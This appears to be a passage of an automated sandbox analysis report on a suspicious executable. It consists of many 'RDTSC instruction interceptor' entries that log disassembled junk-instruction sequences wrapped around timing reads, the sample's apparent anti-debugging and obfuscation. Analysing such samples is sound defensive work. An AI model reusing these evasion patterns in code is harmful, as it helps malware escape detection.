Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 673389 second address: 673393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FEB84D86CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6734D7 second address: 6734DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6734DD second address: 6734E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6734E1 second address: 6734E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 677D33 second address: 677D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007FEB84D86D04h 0x0000000c push esi 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007FEB84D86CFBh 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d js 00007FEB84D86CFCh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 677D6D second address: 677D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 jnl 00007FEB853E3226h 0x0000000b pop esi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6784C9 second address: 678500 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEB84D86CFAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007FEB84D86CFCh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEB84D86D08h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 678660 second address: 678669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 678669 second address: 67866D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67866D second address: 678673 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 678673 second address: 678690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jne 00007FEB84D86CF6h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jne 00007FEB84D86CF6h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67892B second address: 678937 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 678937 second address: 67893B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 678BAA second address: 678BBC instructions: 0x00000000 rdtsc 0x00000002 je 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FEB853E3245h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67D319 second address: 67D31E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67D31E second address: 67D35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007FEB853E323Ah 0x0000000b jmp 00007FEB853E3232h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jo 00007FEB853E3226h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f jnc 00007FEB853E3226h 0x00000025 popad 0x00000026 jmp 00007FEB853E322Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67D35F second address: 67D381 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEB84D86CFFh 0x00000008 jc 00007FEB84D86CF6h 0x0000000e jnl 00007FEB84D86CF6h 0x00000014 popad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DA72 second address: 67DA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DA79 second address: 67DA8A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEB84D86CFCh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67D027 second address: 67D02C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67D02C second address: 67D04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007FEB84D86CF6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jo 00007FEB84D86D04h 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67D04B second address: 67D04F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DE70 second address: 67DE7A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEB84D86CF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DE7A second address: 67DEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FEB853E3230h 0x0000000c je 00007FEB853E3226h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DEA0 second address: 67DEA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DEA4 second address: 67DEC9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FEB853E3238h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DEC9 second address: 67DECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 67DECE second address: 67DEF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3238h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b js 00007FEB853E3226h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6846B9 second address: 6846C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6846C0 second address: 6846CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FEB853E3226h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 601A25 second address: 601A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86CFAh 0x00000009 popad 0x0000000a jl 00007FEB84D86CFCh 0x00000010 jnp 00007FEB84D86CF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 601A40 second address: 601A6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007FEB853E3226h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jno 00007FEB853E322Ah 0x00000015 pushad 0x00000016 jno 00007FEB853E3226h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007FEB853E3226h 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 689D1B second address: 689D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEB84D86D00h 0x0000000f js 00007FEB84D86D07h 0x00000015 jmp 00007FEB84D86D01h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 689D4C second address: 689D51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 689D51 second address: 689D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 689D57 second address: 689D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E322Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64A8F4 second address: 64A8FE instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64A8FE second address: 64A928 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FEB853E3226h 0x00000009 jl 00007FEB853E3226h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 lea eax, dword ptr [ebp+12485651h] 0x00000019 mov edx, dword ptr [ebp+122D2C0Ch] 0x0000001f nop 0x00000020 je 00007FEB853E3234h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64A928 second address: 64A938 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64AD05 second address: 64AD0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64AD0B second address: 64AD1A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64AD1A second address: 64AD1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64AD1E second address: 64AD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64AD24 second address: 64AD2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B041 second address: 64B045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B045 second address: 64B056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B1A6 second address: 64B1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B335 second address: 64B34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEB853E322Bh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B34C second address: 64B350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B80C second address: 64B871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnc 00007FEB853E322Ch 0x0000000b popad 0x0000000c push eax 0x0000000d ja 00007FEB853E322Ah 0x00000013 push eax 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop eax 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007FEB853E3228h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 push 0000001Eh 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FEB853E3228h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov dl, EEh 0x00000050 push eax 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64B871 second address: 64B875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BADD second address: 64BAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64BAE1 second address: 64BAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A1F4 second address: 68A216 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEB853E3226h 0x00000008 jbe 00007FEB853E3226h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FEB853E322Ch 0x00000016 jnp 00007FEB853E3226h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A216 second address: 68A21A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A517 second address: 68A521 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A521 second address: 68A525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A673 second address: 68A67F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A67F second address: 68A683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A7DC second address: 68A7E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 68A7E1 second address: 68A7FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D01h 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FEB84D86CF6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63374C second address: 633750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6915AD second address: 6915C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D06h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6915C7 second address: 6915D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FEB853E3226h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6900C9 second address: 6900D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6900D1 second address: 6900F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E3238h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6900F1 second address: 690108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a push edx 0x0000000b jp 00007FEB84D86CF6h 0x00000011 pop edx 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690108 second address: 690111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690111 second address: 690117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690277 second address: 6902AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FEB853E3226h 0x00000009 jmp 00007FEB853E322Ah 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEB853E3235h 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FEB853E3226h 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6902AE second address: 6902B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6903ED second address: 6903F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6903F1 second address: 690408 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEB84D86CF6h 0x00000008 jmp 00007FEB84D86CFDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690408 second address: 690428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007FEB853E3226h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FEB853E3232h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690428 second address: 690449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEB84D86D05h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690449 second address: 69046E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB853E3237h 0x00000009 popad 0x0000000a pushad 0x0000000b jp 00007FEB853E3226h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6905C9 second address: 6905D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690746 second address: 69074A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 69074A second address: 69075E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEB84D86CFAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6908C2 second address: 6908C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6908C6 second address: 6908D4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 6908D4 second address: 6908D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690CF3 second address: 690D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86CFFh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690D07 second address: 690D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 690D0D second address: 690D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 69100A second address: 69100E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 693D64 second address: 693DA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FEB84D86D0Ch 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FEB84D86CFEh 0x00000016 push eax 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
